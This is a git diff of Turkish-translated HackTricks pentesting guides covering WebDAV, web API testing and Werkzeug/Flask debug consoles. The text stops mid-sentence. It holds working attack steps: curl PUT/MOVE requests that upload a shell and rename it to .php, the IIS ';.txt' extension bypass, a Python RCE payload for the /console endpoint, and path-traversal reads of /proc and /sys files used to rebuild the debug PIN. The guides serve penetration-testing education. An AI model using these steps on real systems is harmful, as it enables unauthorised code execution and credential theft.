ve **.html uzantılarının yürütüldüğü** anlamına gelmez. Bu, bu dosyalara web üzerinden **erişebileceğiniz** anlamına gelir. - ## Cadaver -Bu aracı kullanarak WebDav sunucusuna **bağlanabilir** ve **elle** (yükleme, taşıma veya silme gibi) işlemler yapabilirsiniz. +Bu aracı kullanarak WebDav sunucusuna bağlanabilir ve işlemler (örneğin **yükleme**, **taşıma** veya **silme**) **manuel olarak** gerçekleştirebilirsiniz. ``` cadaver ``` ## PUT isteği - -The PUT method is used to update or create a resource on a server. It sends data to the server to be stored at a specific URL. If the URL already exists, the data will be updated; if not, a new resource will be created. - -PUT isteği, bir sunucuda bir kaynağı güncellemek veya oluşturmak için kullanılır. Belirli bir URL'de depolanması için verileri sunucuya gönderir. Eğer URL zaten varsa, veriler güncellenecektir; yoksa yeni bir kaynak oluşturulacaktır. ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE isteği - -The MOVE request is used in WebDAV to move a resource from one location to another. It is similar to the HTTP PUT method, but instead of creating a new resource, it moves an existing resource to a new location. The MOVE request is typically used to rename or relocate files and directories on a WebDAV server. - -MOVE isteği, WebDAV'da bir kaynağı bir konumdan başka bir konuma taşımak için kullanılır. HTTP PUT yöntemine benzer, ancak yeni bir kaynak oluşturmak yerine mevcut bir kaynağı yeni bir konuma taşır. MOVE isteği genellikle WebDAV sunucusunda dosya ve dizinleri yeniden adlandırmak veya taşımak için kullanılır. - -The syntax of a MOVE request is as follows: - -MOVE /source-resource HTTP/1.1 -Host: example.com -Destination: /destination-resource - -MOVE isteğinin sözdizimi aşağıdaki gibidir: - -MOVE /kaynak-kaynak HTTP/1.1 -Host: ornek.com -Destination: /hedef-kaynak - -In this example, the MOVE request is used to move the resource located at "/source-resource" to the new location "/destination-resource" on the WebDAV server hosted at "example.com". - -Bu örnekte, MOVE isteği "/kaynak-kaynak" konumundaki kaynağı "ornek.com" üzerindeki WebDAV sunucusunda yeni konuma "/hedef-kaynak" taşımak için kullanılır. ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## IIS5/6 WebDav Zafiyeti -Bu zafiyet oldukça ilginçtir. **WebDav**, dosyaların **.asp** uzantısıyla **yüklenmesine** veya **yeniden adlandırılmasına izin vermez**. Ancak, dosya adının sonuna **";.txt"** ekleyerek bunu **geçebilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılır** (".txt" yerine ".html" de kullanabilirsiniz, ancak **";"** işaretini **unutmayın**). +Bu zafiyet çok ilginçtir. **WebDav**, **.asp** uzantılı dosyaları **yüklemeye** veya **yeniden adlandırmaya izin vermez**. Ancak, dosya adının sonuna **";.txt"** ekleyerek bunu **atlayabilirsiniz** ve dosya .asp dosyasıymış gibi **çalıştırılacaktır** (ayrıca **".txt" yerine ".html"** de **kullanabilirsiniz** ancak **";"**'yi **unutmayın**). -Daha sonra, kabuğunuzu bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Web sunucusu üzerinden bu dosyaya erişildiğinde, dosya **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söylese de, çalışır). +Daha sonra kabuğunuzu ".**txt" dosyası** olarak **yükleyebilir** ve onu ".asp;.txt" dosyasına **kopyalayabilir/taşıyabilirsiniz**. Web sunucusu üzerinden bu dosyaya erişildiğinde **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecek, ancak çalışmıştır). ![](<../../.gitbook/assets/image (18) (1) (1).png>) ## Kimlik bilgilerini gönder -Webdav, Apache sunucusu kullanıyorsa, yapılandırılmış sitelere Apache içinde bakmalısınız. Genellikle:\ +Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\ _**/etc/apache2/sites-enabled/000-default**_ İçinde şuna benzer bir şey bulabilirsiniz: @@ -115,41 +85,42 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Gördüğünüz gibi, **webdav** sunucusu için geçerli **kimlik bilgileri** ile dosyalar bulunmaktadır: +Görüldüğü gibi, **webdav** sunucusu için geçerli olan **kimlik bilgileri** ile dosyalar bulunmaktadır: ``` /etc/apache2/users.password ``` -Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir. +Dosyanın içinde **kullanıcı adı** ve şifrenin **hash**'i bulunmaktadır. Bu, webdav sunucusunun kullanıcıları doğrulamak için kullandığı kimlik bilgileridir. -Onları **kırmayı** veya **daha fazla eklemeyi** deneyebilirsiniz, eğer bir nedenle **webdav** sunucusuna **erişmek** isterseniz: +Onları **kırmayı** deneyebilir veya bir nedenden dolayı **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla ekleyebilirsiniz**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -Yeni kimlik bilgilerinin çalışıp çalışmadığını kontrol etmek için şunları yapabilirsiniz: +Yeni kimlik bilgilerinin çalışıp çalışmadığını kontrol etmek için aşağıdakileri yapabilirsiniz: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Referanslar + * [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md index fb1194f38..4273cf7ad 100644 --- a/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,105 +2,90 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## API Pentesting Metodolojisi Özeti -API Pentesting, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu kılavuz, pratik teknikleri ve araçları vurgulayarak kapsamlı bir metodolojiyi kapsar. +API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu kılavuz, pratik teknikleri ve araçları vurgulayan kapsamlı bir metodolojiyi içerir. ### **API Türlerini Anlama** -- **SOAP/XML Web Servisleri**: Genellikle `?wsdl` yollarında bulunan belgeler için WSDL formatını kullanır. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek belgelere [DNE Online](http://www.dneonline.com/calculator.asmx) üzerinden erişilebilir. - -- **REST API'ler (JSON)**: Belgeler genellikle WADL dosyalarında bulunur, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sağlar. Örnek istekler oluşturmak ve yönetmek için **Postman** değerli bir araçtır. - -- **GraphQL**: API'ler için anlaşılabilir ve eksiksiz bir veri açıklaması sunan bir sorgu dili. +* **SOAP/XML Web Servisleri**: Genellikle `?wsdl` yolunda bulunan belgelendirme için WSDL formatını kullanın. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek belgelendirme [DNE Online](http://www.dneonline.com/calculator.asmx) adresinden erişilebilir. +* **REST API'ler (JSON)**: Belgelendirme genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar, daha kullanıcı dostu bir etkileşim arayüzü sağlar. Örnek istekler oluşturmak ve yönetmek için **Postman** değerli bir araçtır. +* **GraphQL**: API'ler için anlaşılabilir ve eksiksiz bir veri açıklaması sunan bir sorgu dili. ### **Uygulama Laboratuvarları** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP'nin en üst 10 API zayıflığına yönelik pratik yapmak için kasıtlı olarak zayıf olan bir API. +* [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP'in en üst 10 API zayıflıklarını kapsayan, el becerisi gerektiren bir zayıf API. -### **API Pentesting için Etkili İpuçları** +### **API Pentesting için Etkili Püf Noktaları** -- **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak DTD bildirimleri genellikle kısıtlanmıştır. XML geçerli kalıyorsa, CDATA etiketleri payload eklemeye izin verebilir. - -- **Ayrıcalık Yükseltme**: Yetki düzeyleri farklı olan uç noktaları test ederek yetkisiz erişim olasılıklarını belirleyin. - -- **CORS Yanılandırmaları**: Oturum açmış oturumlardan CSRF saldırıları aracılığıyla potansiyel olarak sömürülebilirlik için CORS ayarlarını inceleyin. - -- **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API kalıplarını kullanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir. - -- **Parametre Oynama**: İsteklere parametre ekleyerek veya değiştirerek yetkisiz verilere veya işlevlere erişmeyi deneyin. - -- **HTTP Yöntemi Testi**: Beklenmeyen davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin. - -- **İçerik Türü Manipülasyonu**: Farklı içerik türleri arasında geçiş yaparak (x-www-form-urlencoded, application/xml, application/json) ayrıştırma sorunlarını veya zayıflıkları test edin. - -- **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmeyen veri tipleriyle test yapın veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca, daha geniş bir test için parametre kirliliği ve joker karakterlerini deneyin. - -- **Sürüm Testi**: Eski API sürümleri saldırılara daha duyarlı olabilir. Her zaman birden fazla API sürümünü kontrol edin ve test edin. +* **SOAP/XML Zayıflıkları**: Genellikle DTD bildirimleri kısıtlandığından XXE zayıflıklarını keşfedin. XML geçerli kalıyorsa CDATA etiketleri yük enjeksiyonuna izin verebilir. +* **Yetki Yükseltme**: Yetki seviyeleri değişen uç noktaları test ederek yetkisiz erişim olasılıklarını belirleyin. +* **CORS Yanılandırmaları**: Yetkilendirilmiş oturumlardan CSRF saldırıları aracılığıyla olası sömürülebilirlik için CORS ayarlarını inceleyin. +* **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API kalıplarından yararlanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir. +* **Parametre Oynama**: İsteklere parametre ekleyerek veya değiştirerek yetkisiz verilere veya işlevselliklere erişmeyi deneyin. +* **HTTP Yöntemi Testi**: Beklenmeyen davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin. +* **İçerik Türü Manipülasyonu**: Farklı içerik türleri arasında geçiş yaparak (x-www-form-urlencoded, application/xml, application/json) ayrıştırma sorunlarını veya zayıflıkları test edin. +* **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmeyen veri tipleriyle test yapın veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterlerini deneyin. +* **Sürüm Testi**: Eski API sürümleri daha savunmasız olabilir. Her zaman birden fazla API sürümünü kontrol edin ve test edin. ### **API Pentesting için Araçlar ve Kaynaklar** -- **kiterunner**: API uç noktalarını keşfetmek için mükemmel bir araçtır. Hedef API'lere karşı yolları ve parametreleri taramak ve brute force yapmak için kullanabilirsiniz. +* **kiterunner**: API uç noktalarını keşfetmek için mükemmel bir araçtır. Hedef API'ler üzerinde tarama yapmak ve brute force yollarını ve parametreleri tarayın. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- **Otomatik-api-saldırı-aracı**, **Astra** ve **restler-fuzzer** gibi ek araçlar, API güvenlik testi için özel işlevler sunar, saldırı simülasyonundan fuzzing'e ve zafiyet taramasına kadar. +* **Otomatik-api-saldiri-araci**, **Astra** ve **restler-fuzzer** gibi ek araçlar, saldırı simülasyonundan fuzzing'e ve zafiyet taramasına kadar API güvenlik testleri için özelleştirilmiş işlevsellikler sunar. -### **Öğrenme ve Pratik Kaynaklar** - -- **OWASP API Güvenliği Top 10**: Ortak API zafiyetlerini anlamak için temel okuma ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). - -- **API Güvenlik Kontrol Listesi**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). - -- **Logger++ Filtreleri**: API zafiyetlerini bulmak için Logger++ kullanışlı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). - -- **API Uç Noktaları Listesi**: Test amaçlı potansiyel API uç noktalarının özenle seçilmiş bir listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +### **Öğrenme ve Uygulama Kaynakları** +* **OWASP API Güvenlik Top 10**: Ortak API zafiyetlerini anlamak için temel okuma materyali ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +* **API Güvenlik Kontrol Listesi**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +* **Logger++ Filtreleri**: API zafiyetlerini aramak için Logger++, kullanışlı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +* **API Uç Noktaları Listesi**: Test amaçlı potansiyel API uç noktalarının özenle seçilmiş bir listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Referanslar + * [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +
-
- -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin. +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md index 5967d9c38..de0de789b 100644 --- a/network-services-pentesting/pentesting-web/werkzeug.md +++ b/network-services-pentesting/pentesting-web/werkzeug.md @@ -1,69 +1,73 @@ -# Werkzeug / Flask Debug +# Werkzeug / Flask Hata Ayıklama
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Her yerden erişilebilir durumda olan zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20+'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## Konsol RCE -Eğer hata ayıklama etkinse, `/console`'a erişmeyi deneyebilir ve RCE elde edebilirsiniz. +Hata ayıklama etkinse `/console`'a erişmeyi deneyebilir ve RCE elde edebilirsiniz. ```python __import__('os').popen('whoami').read(); ``` ![](<../../.gitbook/assets/image (317).png>) -İnternette [bu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç saldırı da bulunmaktadır veya metasploit'te bir tane. +İnternette [bu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç açık bulunmaktadır veya metasploit'te bir tane. ## Pin Korumalı - Yol Geçişi -Bazı durumlarda **`/console`** ucu noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı**nız varsa, o pin'i oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz. +Bazı durumlarda **`/console`** ucu bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı**nız varsa, o pin'i oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz. ### Werkzeug Console PIN Sömürüsü -Uygulamada bir hata sayfası oluşturarak bunu zorlayın: +Uygulamada bir hata sayfası oluşturmak için bir hata zorlayın: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"Werkzeug"ın hata ayıklama arayüzüne erişmeye çalışırken "konsol kilitli" senaryosuyla ilgili bir iletiyle karşılaşılır ve konsolu kilidini açmak için bir PIN gerektiği belirtilir. Werkzeug'ın hata ayıklama başlatma dosyasındaki (`__init__.py`) PIN oluşturma algoritmasını analiz ederek konsol PIN'ini sömürme önerilir. PIN oluşturma mekanizması [**Werkzeug kaynak kodu deposundan**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) incelenebilir, ancak potansiyel sürüm uyumsuzlukları nedeniyle gerçek sunucu kodunu bir dosya gezinti açığıyla elde etmek önerilir. +Werkzeug'in hata ayıklama arayüzüne erişmeye çalışırken "konsol kilitli" senaryosuyla karşılaşılan bir mesaj, konsolu kilidini açmak için bir PIN gerektiğini belirtir. Werkzeug'in hata ayıklama başlatma dosyasındaki (`__init__.py`) PIN oluşturma algoritmasını analiz ederek konsol PIN'ini sömürme önerilir. PIN oluşturma mekanizması [**Werkzeug kaynak kod deposundan**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) incelenebilir, ancak olası sürüm farklılıkları nedeniyle gerçek sunucu kodunu dosya gezintisi açığı aracılığıyla temin etmek tavsiye edilir. -Konsol PIN'ini sömürmek için `probably_public_bits` ve `private_bits` adlı iki set değişkene ihtiyaç vardır: +Konsol PIN'ini sömürmek için `probably_public_bits` ve `private_bits` adlı iki değişken kümesine ihtiyaç vardır: #### **`probably_public_bits`** -- **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder. -- **`modname`**: Genellikle `flask.app` olarak belirlenir. -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask**'a çözülür. -- **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). `app.py` uygulanamazsa, **`app.pyc`** deneyin. + +* **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder. +* **`modname`**: Genellikle `flask.app` olarak belirlenir. +* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask**'a çözülür. +* **`getattr(mod, '__file__', None)`**: Flask dizinindeki (`/usr/local/lib/python3.5/dist-packages/flask/app.py` gibi) `app.py`'nin tam yolunu temsil eder. `app.py` uygun değilse, **`app.pyc`** deneyin. #### **`private_bits`** -- **`uuid.getnode()`**: Geçerli makinenin MAC adresini alır ve `str(uuid.getnode())` onu ondalık bir formata çevirir. -- **Sunucunun MAC adresini belirlemek** için, uygulama tarafından kullanılan etkin ağ arabirimini belirlemek gerekmektedir (örneğin, `ens3`). Belirsizlik durumunda, cihaz kimliğini bulmak için **`/proc/net/arp`'ı sızdırın**, ardından **`/sys/class/net//address`** adresinden MAC adresini **çıkarın**. -- Ondalık bir MAC adresini onaltılığa dönüştürmek aşağıdaki gibi yapılabilir: + +* **`uuid.getnode()`**: Geçerli makinenin MAC adresini alır, `str(uuid.getnode())` ile onu ondalık formata çevirir. +* **Sunucunun MAC adresini belirlemek** için uygulama tarafından kullanılan etkin ağ arabirimini (örneğin, `ens3`) tanımlamak gerekir. Belirsiz durumlarda, cihaz kimliğini bulmak için **`/proc/net/arp`'yi sızdırın**, ardından **MAC adresini** **`/sys/class/net//address`**'den çıkarın. +* Bir onaltılık MAC adresini ondalığa dönüştürme aşağıdaki gibi gerçekleştirilebilir: + ```python # Örnek MAC adresi: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id` dosyasından alınan verileri `/proc/self/cgroup`'ın son slash (`/`) 